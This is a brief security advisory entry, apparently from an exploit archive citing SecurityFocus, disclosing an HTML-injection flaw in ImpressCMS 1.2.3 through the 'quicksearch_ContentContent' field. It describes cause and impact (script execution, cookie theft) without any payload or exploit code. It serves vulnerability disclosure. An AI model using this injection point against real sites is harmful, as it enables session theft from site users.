ImpressCMS 1.2.x - 'quicksearch_ContentContent' HTML Injection

source: https://www.securityfocus.com/bid/45541/info

ImpressCMS is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

ImpressCMS 1.2.3 Final is vulnerable; other versions may also be affected.
